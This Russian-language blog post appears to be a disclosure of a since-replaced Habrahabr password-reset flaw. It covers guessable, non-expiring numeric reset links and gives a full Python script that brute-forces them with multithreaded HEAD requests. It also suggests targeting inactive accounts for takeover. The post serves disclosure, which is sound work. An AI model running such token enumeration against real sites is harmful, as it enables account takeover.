Восстановление пароля чужого пользователя на хабрахабре

Смена чужого пароля на хабре

Слабыми местами системы являются те, на которые разработчики смотрят реже всего. Одним из таких мест является восстановление пароля на сайте/сервисе. Теперь, когда habrahabr сменил способ авторизации, решил написать пост. Опасность представлял функционал по восстановлению пароля. Рассмотрим подробнее слабые места.

Запрос на восстановление пароля

Для восстановления пароля необходимо было знать только логин жертвы, обычно системы требуют ввода e-mail адреса, если добыть почтовый адрес достаточно сложно, то логин – это и ник пользователя на сайте. Как видим это первое слабое место. Помимо этого стоит reCapcha, что усложняет массовые запросы, но обойти такую систему можно с помощью сервисов распознавания капчи, вроде антигейта.

После запроса, на почту приходит ссылка для восстановления вида: https://auth.habrahabr.ru/login/reminder/[0-9]{9,10}/

Письмо со ссылкой

Сразу можно заметить, что в качестве идентификатора используется строка состоящая из цифр от нуля до девяти, длиной 9 – 10 (100000000-9999999999) символов. Выглядит страшно, но это не совсем так. Сделав 10 запросов на смену пароля 10 раз, посмотрел на все ссылки и сделал вывод, что диапазоном является рандомное число от 100 000 000 до 2 500 000 000. Что уже не так пугающе выглядит.

После посещения своей ссылки и не меняя пароль, ссылка продолжает жить. Да, она не умирает даже после 10 посещений. Более того, по времени нет ограничений (возможно и есть), но после 3 суток ссылка все еще живая.

Собрав всё воедино был написан многопоточный скрипт на Python, который двигается по нашему диапазоны и ищет живые линки на смену пароля. Запуск был произведен на сервере от Amazon. Чтобы не грузить страницу полностью был использован метод HEAD, который как оказалось в данном случае тоже передает код ответа, 404 или 200. Блокировок по IP адресу не было, более того, я думаю HEAD запросы вовсе не логировались.

#!/usr/bin/env python
#-*-encoding:UTF-8-*-

import requests
import Queue
import threading
import time

queue = Queue.Queue()
THREADS_COUNT = 50
start = time.time()

def worker():
    global queue
    while True:
        try:
        	pid =  queue.get_nowait()
        except Queue.Empty, error:
            return

        response = process('https://auth.habrahabr.ru/login/reminder/'+ str(pid) + '/')
        if response == 200:
            print 'https://auth.habrahabr.ru/login/reminder/' + str(pid) + '/ - 200'
            f = open('log.txt','wb')
            f.write('http://habrahabr.ru/post/' + str(pid) + '/ - 200')
            f.close()
        else:
            print 'https://auth.habrahabr.ru/login/reminder/' + str(pid) + '/ - 404'

def process(target_link):
    try:
        res = requests.head(target_link)
    except Exception ,error:
        print str(error)
    return res.status_code

def main():
    print "STARTED"
    global THREADS_COUNT
    global DEEP
    global start
    i = 100000000
    while (i < 1000000000):
        queue.put(i)
        i = i + 1

    for _ in xrange(THREADS_COUNT):
        thread_ = threading.Thread(target=worker)
        thread_.start()
    while threading.active_count() >1:
        time.sleep(1)
    finish = time.time()
    print (finish - start)
    print "FINISHED"

if __name__ == "__main__":
    main()

Спустя сутки была найдена реальная ссылка для восстановления пароля, менять его не стал, пусть хозяин пользуется 🙂

Успешная атака

Из минусов метода, можно отметить то, что мы не знаем чей пароль меняем. Это нигде не указано. В качестве целенаправленной атаки можно было собрать некоторую информацию о пользователе. Например последний визит на хабр, это отображается в профиле.

Дата последнего визита

В случае если человек давно не посещал ресурс, можно добавить его в базу для последующей атаки, а далее уже менять пароль и пользоваться аккаунтом.

После обнаружения ошибок, я сообщил в ТП. Возможно это стало одним из кирпичиков организации нового способа авторизации на сайте через TM ID.